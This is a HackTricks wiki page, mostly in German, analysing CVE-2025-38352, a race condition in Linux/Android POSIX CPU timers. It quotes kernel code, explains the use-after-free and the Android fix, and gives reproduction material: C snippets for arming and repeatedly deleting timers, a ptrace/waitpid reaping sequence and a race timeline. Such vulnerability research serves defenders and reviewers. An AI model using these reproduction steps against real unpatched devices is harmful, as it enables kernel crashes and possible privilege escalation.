POSIX CPU Timers TOCTOU race (CVE-2025-38352)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Diese Seite dokumentiert eine TOCTOU race condition in Linux/Android POSIX CPU timers, die den Timerzustand korruptieren und den Kernel zum Absturz bringen kann, und unter bestimmten Umständen in Richtung privilege escalation gelenkt werden kann.
- Betroffene Komponente: kernel/time/posix-cpu-timers.c
- Primitive: expiry vs deletion race under task exit
- Konfigurationsabhängig: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Kurze interne Zusammenfassung (relevant for exploitation)
- Drei CPU clocks steuern das Accounting für Timer via cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- Die Timer-Erstellung verbindet einen Timer mit einer task/pid und initialisiert die timerqueue nodes:
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
- Arming fügt Einträge in die per-base timerqueue ein und kann den next-expiry cache aktualisieren:
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
- Fast path vermeidet teure Verarbeitung, es sei denn cached expiries auf ein mögliches Auslösen hindeuten:
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
- Expiration sammelt abgelaufene Timer, markiert sie als ausgelöst, entfernt sie aus der Warteschlange; die eigentliche Zustellung wird verzögert:
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
Zwei Ablaufverarbeitungsmodi
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: Das Ablaufereignis wird über task_work auf die Zieltask verzögert
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: Ablauf wird direkt im IRQ-Kontext behandelt
Task_work vs IRQ Ablaufpfade
```c void run_posix_cpu_timers(void) { struct task_struct *tsk = current; __run_posix_cpu_timers(tsk); } #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK static inline void __run_posix_cpu_timers(struct task_struct *tsk) { if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; tsk->posix_cputimers_work.scheduled = true; task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); } #else static inline void __run_posix_cpu_timers(struct task_struct *tsk) { lockdep_posixtimer_enter(); handle_posix_cpu_timers(tsk); // IRQ-context path lockdep_posixtimer_exit(); } #endif ```Im IRQ-context-Pfad wird die firing list außerhalb von sighand verarbeitet
IRQ-context Zustellschleife
```c static void handle_posix_cpu_timers(struct task_struct *tsk) { struct k_itimer *timer, *next; unsigned long flags, start; LIST_HEAD(firing); if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit do { start = READ_ONCE(jiffies); barrier(); check_thread_timers(tsk, &firing); check_process_timers(tsk, &firing); } while (!posix_cpu_timers_enable_work(tsk, start)); unlock_task_sighand(tsk, &flags); // race window opens here list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { int cpu_firing; spin_lock(&timer->it_lock); list_del_init(&timer->it.cpu.elist); cpu_firing = timer->it.cpu.firing; // read then reset timer->it.cpu.firing = 0; if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); rcu_assign_pointer(timer->it.cpu.handling, NULL); spin_unlock(&timer->it_lock); } } ```Ursache: TOCTOU zwischen Ablauf im IRQ-Kontext und gleichzeitiger Löschung während der Task-Beendigung Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- Der Ziel-Task wird beendet, ist aber noch nicht vollständig reaped
- Ein anderer Thread ruft gleichzeitig posix_cpu_timer_del() für denselben Timer auf
Sequence
- update_process_times() löst run_posix_cpu_timers() im IRQ-Kontext für den beendenden Task aus.
- collect_timerqueue() setzt ctmr->firing = 1 und verschiebt den Timer in die temporäre firing-Liste.
- handle_posix_cpu_timers() gibt sighand via unlock_task_sighand() frei, um Timer außerhalb der Sperre zu liefern.
- Unmittelbar nach unlock kann der beendende Task reaped werden; ein Geschwister-Thread führt posix_cpu_timer_del() aus.
- In diesem Zeitfenster kann posix_cpu_timer_del() scheitern, den State via cpu_timer_task_rcu()/lock_task_sighand() zu übernehmen, und damit die normale In-Flight-Prüfung, die timer->it.cpu.firing prüft, überspringen. Die Löschung fährt fort, als ob nicht firing, corrupting state während die Ablaufbehandlung läuft, was zu crashes/UB führt.
Wie release_task() und timer_delete() firing timers freigeben
Selbst nachdem handle_posix_cpu_timers() den Timer aus der Task-Liste entfernt hat, kann ein vom ptrace verfolgter Zombie trotzdem noch reaped werden. Der waitpid()-Stack treibt release_task() → __exit_signal() an, welches sighand und die Signal-Queues herunterfährt, während eine andere CPU noch Zeiger auf das Timer-Objekt hält:
static void __exit_signal(struct task_struct *tsk)
{
struct sighand_struct *sighand = lock_task_sighand(tsk, NULL);
// ... signal cleanup elided ...
tsk->sighand = NULL; // makes future lock_task_sighand() fail
unlock_task_sighand(tsk, NULL);
}
Wenn sighand getrennt ist, gibt timer_delete() dennoch Erfolg zurück, weil posix_cpu_timer_del() bei fehlgeschlagenem Sperren ret = 0 belässt, wodurch der syscall das Objekt über RCU freigibt:
static int posix_cpu_timer_del(struct k_itimer *timer)
{
struct sighand_struct *sighand = lock_task_sighand(p, &flags);
if (unlikely(!sighand))
goto out; // ret stays 0 -> userland sees success
// ... normal unlink path ...
}
SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
if (timer_delete_hook(timer) == TIMER_RETRY)
timer = timer_wait_running(timer, &flags);
posix_timer_unhash_and_free(timer); // call_rcu(k_itimer_rcu_free)
return 0;
}
Weil das slab-Objekt RCU-freed wird, während der IRQ-Kontext noch die firing-Liste durchläuft, wird die Wiederverwendung des timer cache zu einer UAF-Primitve.
Reaping steuern mit ptrace + waitpid
Der einfachste Weg, einen Zombie am Leben zu halten, ohne dass er automatisch gereapt wird, ist, einen non-leader Worker-Thread mit ptrace zu überwachen. exit_notify() setzt zuerst exit_state = EXIT_ZOMBIE und wechselt nur zu EXIT_DEAD, wenn autoreap true ist. Bei ptraced Threads bleibt autoreap = do_notify_parent() false, solange SIGCHLD nicht ignoriert wird, sodass release_task() nur ausgeführt wird, wenn das Parent explizit waitpid() aufruft:
- Verwende pthread_create() im tracee, damit das Opfer nicht der thread-group leader ist (wait_task_zombie() behandelt ptraced non-leaders).
- Das Parent führt
ptrace(PTRACE_ATTACH, tid)aus und späterwaitpid(tid, __WALL), um do_wait_pid() → wait_task_zombie() → release_task() anzustoßen. - Pipes oder Shared Memory übermitteln dem Parent die exakte TID, sodass der korrekte Worker bei Bedarf gereapt wird.
Diese Choreographie garantiert ein Zeitfenster, in dem handle_posix_cpu_timers() weiterhin auf tsk->sighand zugreifen kann, während ein anschließendes waitpid() es zerstört und timer_delete() erlaubt, dasselbe k_itimer-Objekt zurückzugewinnen.
Warum der TASK_WORK-Modus von Haus aus sicher ist
- Mit CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y wird das Ablaufen auf task_work verschoben; exit_task_work läuft vor exit_notify, sodass die IRQ-Zeit-Überlappung mit dem Reaping nicht auftritt.
- Selbst dann, wenn die Task bereits exiting ist, schlägt task_work_add() fehl; eine Abfrage von exit_state macht beide Modi konsistent.
Fix (Android common kernel) und Begründung
- Füge einen frühen return hinzu, wenn die current task exiting ist, um die gesamte Verarbeitung zu verhindern:
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
- Dadurch wird verhindert, dass handle_posix_cpu_timers() für Tasks im Exit-Pfad betreten wird, womit das Zeitfenster entfällt, in dem posix_cpu_timer_del() it.cpu.firing übersehen könnte und mit der Ablaufverarbeitung (expiry processing) in Race treten könnte.
Impact
- Eine Beschädigung des Kernel-Speichers von Timer-Strukturen während gleichzeitiger Ablauf-/Löschvorgänge kann sofortige Abstürze (DoS) verursachen und stellt eine starke Primitive zur Privilegieneskalation dar, da sie Möglichkeiten zur willkürlichen Manipulation des Kernel-Zustands eröffnet.
Triggering the bug (safe, reproducible conditions) Build/config
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix. On x86/arm64 the option is normally forced on via HAVE_POSIX_CPU_TIMERS_TASK_WORK, so researchers often patch
kernel/time/Kconfigto expose a manual toggle:
config POSIX_CPU_TIMERS_TASK_WORK
bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y
Das spiegelt wider, was Android-Hersteller für Analyse-Builds getan haben; upstream x86_64 und arm64 setzen HAVE_POSIX_CPU_TIMERS_TASK_WORK=y durch, sodass der verwundbare IRQ-Pfad hauptsächlich in 32‑Bit-Android-Kernels existiert, in denen die Option auskompiliert wurde.
- Führe es auf einer Multi-Core-VM aus (z. B. QEMU
-smp cores=4), damit Parent-, Child-Main- und Worker-Threads auf dedizierten CPUs verbleiben können.
Runtime strategy
- Setze an einem Thread an, der kurz vor dem Beenden steht, und hänge ihm einen CPU-Timer an (pro Thread oder prozessweite Clock):
- Für pro-Thread: timer_create(CLOCK_THREAD_CPUTIME_ID, …)
- Für prozessweiten Timer: timer_create(CLOCK_PROCESS_CPUTIME_ID, …)
- Initialisiere ihn mit sehr kurzer anfänglicher Ablaufzeit und kleinem Intervall, um möglichst viele Einträge im IRQ-Pfad zu erzeugen:
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
- Aus einem anderen Thread denselben Timer gleichzeitig löschen, während der Ziel-Thread beendet wird:
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
- Race-Verstärker: hohe Scheduler-Tick-Rate, CPU-Last, wiederholte thread exit/re-create-Zyklen. Der Absturz tritt typischerweise auf, wenn posix_cpu_timer_del() das Auslösen übersieht, weil die Task-Suche/-Sperrung direkt nach unlock_task_sighand() fehlschlägt.
Practical PoC orchestration
Thread & IPC choreography
Ein zuverlässiger Reproducer forkt in einen ptracing parent und ein child, das den verwundbaren worker thread erzeugt. Zwei Pipes (c2p, p2c) liefern die worker TID und steuern jede Phase, während ein pthread_barrier_t verhindert, dass der worker seinen Timer armiert, bis der parent angehängt hat. Jeder Prozess bzw. Thread wird mit sched_setaffinity() fest auf eine CPU gesetzt (z. B. parent auf CPU1, child main auf CPU0, worker auf CPU2), um Scheduler-Rauschen zu minimieren und das Race reproduzierbar zu halten.
Timer calibration with CLOCK_THREAD_CPUTIME_ID
Der worker aktiviert einen per-thread CPU-Timer, sodass nur sein eigener CPU-Verbrauch die Deadline vorantreibt. Eine einstellbare wait_time (Standard ≈250 µs CPU-Zeit) plus eine begrenzte busy loop sorgen dafür, dass exit_notify() EXIT_ZOMBIE setzt, während der Timer kurz davor ist zu feuern:
Minimales per-thread CPU-Timer-Skelett
```c static timer_t timer; static long wait_time = 250000; // nanoseconds of CPU timestatic void timer_fire(sigval_t unused) { puts(“timer fired”); }
static void *worker(void *arg) { struct sigevent sev = {0}; sev.sigev_notify = SIGEV_THREAD; sev.sigev_notify_function = timer_fire; timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);
struct itimerspec ts = { .it_interval = {0, 0}, .it_value = {0, wait_time}, };
pthread_barrier_wait(&barrier); // released by child main after ptrace attach timer_settime(timer, 0, &ts, NULL);
for (volatile int i = 0; i < 1000000; i++); // burn CPU before exiting return NULL; // do_exit() keeps burning CPU }
</details>
#### Race timeline
1. Das Kind teilt dem Elternprozess die TID des Workers über `c2p` mit und blockiert dann an der Barrier.
2. Der Elternprozess führt `PTRACE_ATTACH` aus, wartet in `waitpid(__WALL)` und macht dann `PTRACE_CONT`, damit der Worker laufen und beenden kann.
3. Wenn Heuristiken (oder manuelle Operator-Eingaben) darauf hindeuten, dass der Timer in die IRQ-seitige `firing`-Liste gesammelt wurde, führt der Elternprozess erneut `waitpid(tid, __WALL)` aus, um `release_task()` auszulösen und `tsk->sighand` freizugeben.
4. Der Elternprozess signalisiert das Kind über `p2c`, sodass das Kind im Hauptthread `timer_delete(timer)` aufrufen kann und sofort einen Helfer wie `wait_for_rcu()` ausführt, bis der RCU-Callback des Timers abgeschlossen ist.
5. Der IRQ-Kontext setzt schließlich `handle_posix_cpu_timers()` fort und dereferenziert die freigegebene `struct k_itimer`, was KASAN oder WARN_ON()s auslösen kann.
#### Optional kernel instrumentation
Für Forschungs-Setups erweitert das Einfügen eines debug-only `mdelay(500)` innerhalb von handle_posix_cpu_timers(), wenn `tsk->comm == "SLOWME"`, das Zeitfenster, sodass die oben beschriebene Choreographie den Race fast immer gewinnt. Dasselbe PoC benennt Threads (`prctl(PR_SET_NAME, ...)`) so um, dass Kernel-Logs und Breakpoints bestätigen, dass der erwartete Worker gereaped wird.
### Instrumentation cues during exploitation
- Füge tracepoints/WARN_ONCE um unlock_task_sighand()/posix_cpu_timer_del() hinzu, um Fälle zu erkennen, in denen `it.cpu.firing==1` mit fehlgeschlagenem cpu_timer_task_rcu()/lock_task_sighand() zusammenfällt; überwache die Konsistenz der timerqueue, wenn das Opfer beendet.
- KASAN meldet typischerweise `slab-use-after-free` innerhalb von posix_timer_queue_signal(), während non-KASAN-Kernel WARN_ON_ONCE() aus send_sigqueue() loggen, wenn das Race trifft — das liefert einen schnellen Erfolgsindikator.
Audit hotspots (for reviewers)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): setzt ctmr->firing und verschiebt Nodes
- handle_posix_cpu_timers(): gibt sighand vor der firing-Schleife frei
- posix_cpu_timer_del(): verlässt sich auf it.cpu.firing, um in-flight expiry zu erkennen; diese Prüfung wird übersprungen, wenn die Task-Lookup/Lock während Exit/Reap fehlschlägt
Notes for exploitation research
- Das offen gelegte Verhalten ist ein zuverlässiges Kernel-Crash-Primitiv; um es in eine Privilege-Escalation umzuwandeln, ist üblicherweise eine zusätzliche kontrollierbare Überlappung (Objektlebenszeit oder write-what-where-Einfluss) erforderlich, die über den Umfang dieser Zusammenfassung hinausgeht. Behandle jedes PoC als potenziell destabilisiert und führe es nur in Emulatoren/VMs aus.
## References
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
- [CVE-2025-38352 – In-the-wild Android Kernel Vulnerability Analysis and PoC](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
- [poc-CVE-2025-38352 (GitHub)](https://github.com/farazsth98/poc-CVE-2025-38352)
- [Linux stable fix commit f90fff1e152d](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca)
> [!TIP]
> Lernen & üben Sie AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lernen & üben Sie GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Lernen & üben Sie Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Unterstützen Sie HackTricks</summary>
>
> - Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
> - **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
>
> </details>


